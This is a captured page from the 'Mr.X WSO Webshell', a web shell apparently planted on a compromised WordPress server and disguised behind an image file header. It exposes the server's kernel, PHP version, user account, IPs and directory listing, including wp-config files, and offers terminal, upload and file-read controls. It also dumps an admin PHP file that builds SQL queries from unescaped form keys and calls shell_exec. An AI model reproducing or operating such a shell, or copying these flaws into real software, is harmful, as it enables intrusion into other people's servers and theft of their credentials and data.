����JFIF���������www.stoptube.com - WSOX ENC
Attention:
Uname:
Php:
Hdd:
Cwd:
Mr.X WSO Webshell! - Personal WEB SHELL Mr.X BYPASS! V2.5 Telegram: @jackleet
Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
5.3.29 Safe mode: OFF Datetime: 2026-04-09 09:23:34
1999.30 GB Free: 74.61 GB (3%)
/home/httpd/html/stoptube.com/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
127.0.0.54
Client IP:
216.73.216.53
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2020-10-29 21:25:34drwxr-xr-xRename Touch
[ .. ]dir2026-04-09 09:20:51drwxr-xr-xRename Touch
[ cgi-bin ]dir2012-04-08 21:15:31drwxr-xr-xRename Touch
[ public_html ]dir2023-11-10 01:29:28drwxr-xr-xRename Touch
[ stats ]dir2012-05-18 05:35:08drwxr-xr-xRename Touch
[ wp-admin ]dir2018-10-17 02:02:36drwxr-xr-xRename Touch
[ wp-content ]dir2026-04-09 08:57:52drwxrwxr-xRename Touch
[ wp-includes ]dir2018-10-17 02:02:35drwxrwxr-xRename Touch
[ wpbackup-mojo ]dir2013-09-23 12:20:27drwxr-xr-xRename Touch
120x240_2.gif13.45 KB2008-06-28 03:13:23-rw-r--r--Rename Touch Edit Download
120x240_4.gif11.19 KB2008-06-28 03:15:01-rw-r--r--Rename Touch Edit Download
google33e705b4a02b516c.html53 B2018-10-09 07:59:06-rw-r--r--Rename Touch Edit Download
google54c2bf32c9bf2083.html7 B2009-05-30 01:17:01-rw-r--r--Rename Touch Edit Download
grepsearch.php910 B2009-05-31 03:50:51-rw-r--r--Rename Touch Edit Download
index.php418 B2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
license.txt19.47 KB2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
readme.html7.24 KB2020-10-29 21:25:34-rw-r--r--Rename Touch Edit Download
robots.txt29 B2014-04-01 00:38:43-rw-r--r--Rename Touch Edit Download
scan_files.php3.34 KB2009-06-03 20:33:08-rw-r--r--Rename Touch Edit Download
wp-activate.php6.72 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-atom.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php364 B2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-comments-post.php1.84 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-commentsrss2.php244 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-config-sample.php2.79 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-config.php1.47 KB2018-10-04 12:51:18-rw-rw-r--Rename Touch Edit Download
wp-config.php_backup_ticket_5246641.30 KB2018-10-03 15:00:12-rw-r--r--Rename Touch Edit Download
wp-cron.php3.58 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-feed.php246 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.37 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-load.php3.23 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-login.php36.92 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-mail.php7.86 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-pass.php494 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rdf.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-register.php334 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss2.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-settings.php15.87 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-signup.php29.39 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.51 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wpupdate.sh12.75 KB2013-09-22 17:09:27-rw-r--r--Rename Touch Edit Download
xmlrpc.php2.99 KB2018-10-17 02:02:34----------Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: /home/httpd/html/putang.com/public_html/admin/template_settings.php
<?php

require "db.php";





if (isset($_POST['formSubmit'])) {

    $_POST = array_map_array('trim', $_POST);

    foreach ($_POST as $k => $v) {

        if (in_array($k, array('formSubmit'))) {

            continue;

        }

		dbQuery("UPDATE template_configuration SET value = '".mysqli_real_escape_string($dblink,$v)."' WHERE field = '$k' AND template = '" . mysqli_real_escape_string($dblink, $template_name) . "'");

    }	

	

	if (!getMessages(false, 'error')) {	

		$output = array();

		$results = dbQuery("SELECT * FROM `template_configuration` WHERE template = '".$template_name."'", false);

		foreach ($results as $row) {

			$output[$row['field']] = $row['value'];

		}

		file_put_contents("$basepath/admin/scripts/template_config.json", json_encode($output));

		setMessage('Configuration saved!');

		header("Location: ".$_SERVER['REQUEST_URI']);

		exit();

	}

}

?>



<? require "header.php"; ?>



<div class="content-page">



    <div class="header-area">

        <div class="breadcrumbs">  

            <a href="index.php">Admin Home</a>          

            <span><a href="settings.php">Manage Settings</a></span>  

        </div>

    </div>



    <div class="content-outer">



        <h2>Edit<strong>Template Settings</strong></h2>



        <div class="content-inner">



            <? echo getMessages(); ?>



            <form method="POST" action="" enctype="multipart/form-data" class="form" novalidate autocomplete="off">



                

                    <table class="pagetable">

                        <thead>

                            <tr>

                                <th colspan="2">Settings for "<?php echo $template_name; ?>" template</th>

                            </tr>

                        </thead>

                        <tbody>

                            <?php $result = dbQuery("SELECT * FROM `template_configuration` WHERE `template` = '" . mysqli_real_escape_string($dblink, $template_name) . "' ORDER BY `record_num`", false); ?>

							<?php if(is_array($result)) { ?>

								<?php foreach ($result as $row) { ?>

									<?php $row['settings'] = json_decode($row['settings'], true); ?>

									<?php if (is_array(json_decode($row['data'], true))) { ?>

										<tr>

											<td><?php echo $row['field_name']; ?> <?php if ($row['field_description']) { ?><a href="#" title="<?php echo htmlentities($row['field_description'], ENT_QUOTES, 'UTF-8'); ?>"><i class="ion ion-help-circled"></i></a><?php } ?></td>

											<td>

												<select name="<?php echo $row['field']; ?>">

													<?php unset($jsonData); ?>

													<?php $jsonData = json_decode($row['data'], true); ?>

													<?php foreach ($jsonData as $k => $v) { ?>

														<option<?php echo ((string) $v == $row['value']) ? ' selected' : ''; ?> value="<?php echo (string) $v; ?>"><?php echo $k; ?></option>

													<?php } ?>

												</select>

											</td>

										</tr>

									<?php } else if ($row['settings']['type'] === 'number') { ?>

										<tr>

											<td><?php echo $row['field_name']; ?> <?php if ($row['field_description']) { ?><a href="#" title="<?php echo htmlentities($row['field_description'], ENT_QUOTES, 'UTF-8'); ?>"><i class="ion ion-help-circled"></i></a><?php } ?></td>

											<td>

												<input type="number" name="<?php echo $row['field']; ?>" id="<?php echo $row['field']; ?>" value="<?php echo $row['value']; ?>" class="short" <? echo isset($row['settings']['min']) ? ' min="' . $row['settings']['min'] . '"' : ''; ?><? echo isset($row['settings']['max']) ? ' max="' . $row['settings']['max'] . '"' : ''; ?><? echo isset($row['settings']['step']) ? ' step="' . $row['settings']['step'] . '"' : ''; ?>>

												<? if (isset($row['settings']['suffix']) && ($row['settings']['suffix'] != "")) { ?>

													<span class="suffix"><? echo $row['settings']['suffix']; ?></span>

												<? } ?>

											</td>

										</tr>

									<?php } else if ($row['settings']['type'] === 'textarea') { ?>

										<tr>

											<td><?php echo $row['field_name']; ?> <?php if ($row['field_description']) { ?><a href="#" title="<?php echo htmlentities($row['field_description'], ENT_QUOTES, 'UTF-8'); ?>"><i class="ion ion-help-circled"></i></a><?php } ?></td>

											<td>

												<textarea name="<?php echo $row['field']; ?>" type="text" id="<?php echo $row['field']; ?>"><?php echo htmlentities($row['value'], ENT_QUOTES, 'UTF-8'); ?></textarea>

												<?php if ($row['group'] == 'paths') { ?>

													<span class="description"><i class="ion ion-information-circled"></i> Paths for <?php echo shell_exec("whereis " . substr($row['field'], 0, strpos($row['field'], '_'))); ?></span>

												<?php } ?>

											</td>

										</tr>

									

									<?php } else { ?>

										<tr>

											<td><?php echo $row['field_name']; ?> <?php if ($row['field_description']) { ?><a href="#" title="<?php echo htmlentities($row['field_description'], ENT_QUOTES, 'UTF-8'); ?>"><i class="ion ion-help-circled"></i></a><?php } ?></td>

											<td>

												<input name="<?php echo $row['field']; ?>" type="text" id="<?php echo $row['field']; ?>" value="<?php echo htmlentities($row['value'], ENT_QUOTES, 'UTF-8'); ?>" />

												<?php if ($row['group'] == 'paths') { ?>

													<span class="description"><i class="ion ion-information-circled"></i> Paths for <?php echo shell_exec("whereis " . substr($row['field'], 0, strpos($row['field'], '_'))); ?></span>

												<?php } ?>

											</td>

										</tr>

									<?php } ?>

								<?php } ?>

							<?php } else { ?>

							<tr class="item">

								<td colspan="2">

                                    Sorry, there are no configuration options available for the selected template. If you believe this is in error, please make sure you have the correct template name defined in the script settings.

                                </td>

							</tr>

							<?php } ?>

							<?php if(is_array($result)) { ?>

                            <tr class="item submit">

                                <td colspan="2">

                                    <input type="hidden" name="formSubmit" value="1">

                                    <button type="submit" class="btn action-save">Save</button>

                                </td>

                            </tr>

							<?php } ?>

                        </tbody>

                    </table>

               

            </form>

        </div>

    </div>

</div>



<?php require "footer.php"; ?>